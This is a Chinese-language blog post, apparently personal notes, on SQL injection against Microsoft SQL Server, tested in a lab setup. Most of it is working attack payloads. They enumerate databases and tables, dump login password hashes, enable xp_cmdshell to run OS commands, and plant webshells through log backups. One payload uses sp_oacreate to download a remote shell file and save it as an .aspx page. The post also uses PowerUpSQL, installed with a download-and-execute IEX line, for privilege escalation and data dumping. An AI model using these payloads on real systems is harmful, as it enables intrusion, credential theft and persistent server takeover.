MsSQL注入

本文主要整理MSSQL注入,使用Ph0rse环境

MSSQL安装

MSSQL安装

选择默认实例

mssql-1

选择混合模式并输入密码

mssql-1

MSSQL身份验证方式

MSSQL自带数据库

MSSQL自带四个系统库,分别存储一些特殊信息,对于前期注入而言,尤其要掌握tempdb

tempdb数据库是一个非常特殊的数据库,供所有来访问你的MSSQL的用户使用。这个库用来保存所有的临时表、存储过程和其他MSSQL建立的临时用的东西。例如,排序时要用到tempdb数据库。数据库放进tempdb数据库,排序完后再把结果返回给用户。每次MSSQL重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永远保存的表。

MSSQL注入

信息探测

初步判断是否为mssql

1
and user>0

判断数据库

1
and (select count(*) from sysobjects)>0   # mssql
1
and (select count(*) from mysysobjects)>0   # access
1
@@version #查看版本
1
1' union select 1,2,@@version--

mssql-4

1
select * from user where id=1 and @@version like '%14%' ;  #探测版本,版本正确,执行成功
1
Ph0rse1' and @@version like '%14%'  --+

mssql-5

1
Ph0rse1' and @@version like '%15%'  --+  #版本错误执行未成功

mssql-6

1
select name,loginame from master..syslogins,master..sysprocesses    #syslogins存储登陆信息   sysprocesses存储进程信息

mssql-7

1
2
user, system_user, suser_sname(), is_srvrolemember('sysadmin'),is_srvrolemember('public')
#查看权限null表示非sysadmin权限

mssql-8

1
@@servername  #查看服务器名字
1
2
3
4
1' and ((select host_name())=(select @@servername))--  
判断是否站库分离,报错,则站库分离,回显正常,则无站库分离
@@servername代表服务名字 web端
host_name代表web应用主机系统名字 数据库端
1
select name from master..sysdatabases   #查询数据库名字

mssql-10

1
select DB_NAME(i) 查询数据库名字 i代表第几个数据库

mssql-11

1
exec sp_helpdb master;   #定位数据库文件 location of master.mdf

mssql-20

暴数据表

sysobject是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而XTYPE代表对象的类型。

U 表(用户定义类型)

V 视图

P 存储过程

X 扩展存储过程

1
union select name from master..sysobjects where xtype='U'

mssql-12

1
and select substring(table_name,1,1) from information_schema.tables > 'A'
1
and 1=(select top 1 table_name from information_schema.tables)
1
and 1=(select top 1 table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables))

爆数据

1
union select name from master..syscolumns where id=(select id from master..syscolumns where name='tablename')
1
and select substring(column_name,1,1) from information_schema.columns > 'A'
1
and 1=(select top 1 column_name from information_schema.columns)
1
and 1=(select top 1 column_name from information_schema.columns where column_name not in (select top 1 column_name from information_schema.columns))
1
select table_name %2b','from information_schema.tables for xml path('')
1
2
3
4
5
and 1=0;begin
declare @xy varchar(8000) set @xy=';'
select @xy=@xy + '' +name from sysobjects where xtype='U' and name > @xy
select @xy as xy into TMP_DB
end

获取用户账号和hash

1
select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins

权限探测

1.多语句注入

mysql条件比较苛刻,而msqql没那么苛刻

1
Ph0rse1' ;exec xp_cmdshell 'whoami > c:\tmp\1.txt' --+

mssql-13

执行xp_cmdshell之前需判断是否开启xp_cmdshell存储过程

1
2
3
4
从MSSQL2005版本之后默认关闭
1' and 1=(select count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell')--
若报错,则没有开启
正常回显,则表示开启

xp_cmdshell开启语句

1
2
3
4
exec sp_configure 'show advanced options' ,1 ;
reconfigure;
exec sp_configure 'xp_cmdshell' ,1 ;
reconfigure;
1
Ph0rse1' ; exec sp_configure 'show advanced options'  ,1 ; reconfigure; exec sp_configure 'xp_cmdshell'   ,1 ; reconfigure;--+

mssql-14

在开启xp_cmdshell情况下执行whoami > c:\tmp\1.txt命令后查看1.txt文件如下

mssql-15

2.tmp临时表

1
create table #MyTempTable (cola int primary key)

从写文件到getshell

转存入表

1
2
3
4
create table mydata (line varchar(8000));
bulk insert mydata from 'c:/tmp/1.txt'; #使用之前xp_cmdshell写入的1.txt文件写入表
select * from mydata;
drop table mydata;

mssql-16

16进制转换绕过

首先创建数据库

1
2
3
4
5
begin
declare @xy varchar(8000) set @xy=';'
select @xy=@xy + '' +name from sysobjects where xtype='U' and name > @xy
select @xy as xy into TMP_DB
end

创建成功,可查询

mssql-17

如下数据转换为16进制,注意空格数据,有时候需要自己加空格的16进制内容

mssql-18

1
' and 1=0; declare @S varchar(4000) set @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); exec (@S);

mssql-19

####绕过引号

select * from users where username=char(97)+char(100)+char(109)+char(105)+char(110)

文件操作

xp_cmdshell 执行系统命名写入文件

whoami查看MSSQL权限,若MSSQL以WIndows身份验证的方式运行,则获取的权限为启动身份。若为sa账号,则使用的是nt service\mssqlserver服务权限,但这并不是系统的一个用户,而只是一个服务。它们在Windows中有安全标识符(SID),但并不是真正的用户

mssql-24

服务权限下无法添加用户

mssql-25

使MSSQL以WIndows身份验证的方式运行,找到MSSQL服务

mssql-26

勾选如下选项

mssql-27

以管理员身份重启后如下

mssql-28

可执行用户添加命令

mssql-29

dbowner权限下进行扩展攻击利用

先做一次数据库备份,如下

mssql-21

mssql-22

1
2
3
4
;alter database news set RECOVERY FULL --
;create table test(str image)--
;insert into test(str)values('恶意代码')--
;backup log news to disk ='c:\tmp\test.txt' with init--

上述代码执行后查看test.txt文件如下,实际场景利用为写入恶意文件

mssql-23

sp_oacreate下权利用限

启用sp_oacreate组件

1
2
3
4
sp_configure 'show advanced options',1;
GO
RECONFIGURE;
GO=

mssql-30

1
2
3
4
sp_configure 'Ole Automation Procedures',1;
GO
RECONFIGURE;
GO

mssql-31

执行如下代码写入webshell

1
2
3
4
5
6
7
;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
exec sp_oacreate[Microsoft.XMLHTTP],@http output
EXEC @hr=sp_oamethod @http,[Open],null,[GET],[http://192.168.64.2/muma.txt],0 #远程webshell
EXEC @hr=sp_oamethod @http,[Send],null EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down output
EXEC @hr=sp_OASetProperty @down,[Type],1
EXEC @hr=sp_OASetProperty @down,[mode],3 EXEC @hr=sp_oamethod @down,[Open],null
EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC @hr=sp_oamethod @down,[SaveToFile],null,[C:\mssqli-test\muma.aspx],1 #写入位置

mssql-32

webshell写入成功

mssql-33

mssql-34

蚁剑连接成功,需要注意此处使用http://172.16.237.156/muma.apsx未成功,查看链接地址为``http://172.16.237.156/muma`可以访问,同时链接成功,实际为省略aspx后缀

mssql-35

mssql-36

OPENROWEST绕过Web限制

无法直接连接远程数据库,并无法使用多语句注入时,就需要再Web端,执行xp_cmdshell之类命令。但由于语法限制,DML语句中无法直接调用DCL语句。因此,这时就需要使用OPENROWEST来绕过限制。

OPENROWEST包含访问OLE DB数据源中的远程数据所需所有连接信息,并可以在查询的from子句中引用,就好像它是一个表名。

环境比较难搭建,暂时附上参考链接,后续有需要再搭建环境测试

https://www.moonsec.com/archives/125

也可以使用如下代码执行xp_cmdshell

1
select * from openrowset ('sqloledb','数据库地址';'数据库用户名';'数据库密码','set fmtonly off execute master..xp_cmdshell "dir"');

###其他存储过程使用

system权限

xp_regwite 操作注册表

sp_makewebtask 写入一句话木马

sp_oacreate 存储远程下载文件

sp_addlogin 扩展管理数据库用户

MSSQL注入参考

http://blog.sina.com.cn/s/blog_c71409200101fb3u.html

https://www.cnblogs.com/vigarbuaa/p/3371500.html

https://blog.csdn.net/weixin_34319999/article/details/92479895

https://www.anquanke.com/post/id/156911?from=groupmessage

PowerUpSQL使用

设置允许外部脚本

set-executionpolicy remotesigned

安装方式一 安装模块

install-module -name powerupsql

安装方式二 下载github项目文件 移动到相关路径 执行以下命令

import-module powerupsql.psd1

安装方式三 导入函数

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

mssql-37

安装方式四 CS加载

mssql-38

查看信息

1
Get-SQLInstanceLocal -Verbose

mssql-39

连接数据库

1
2
3
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password 123.com | Where-Object {$_.Status -like "Accessible"}

$Targets

mssql-40

升级为sa权限

1
Invoke-SQLEscalatePriv -Verbose -Instance XUANJIANWEAPO

把整个数据库扒下来后审计

1
Invoke-SQLDumpInfo -Verbose -Instance XUANJIANWEAPO

执行系统命令

1
$Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10

mssql-41

其他使用方式

登录session:$Target

提权命令:Invoke-SQLmpersonateServInvoke-SQLAuditInvoke-SQLEscalatePriv

执行系统命令:Invoke-SQLOSCmd、Invoke-SQLOSPython`

内网探测:Get-SQLInstanceBroadcastGet-SQLInstanceScanUDPThreaded、Get-SQLInstanceFile

PowerUpSQL使用参考

https://github.com/NetSPI/PowerUpSQL/

https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

https://www.freebuf.com/column/172122.html

-------------本文结束感谢您的阅读-------------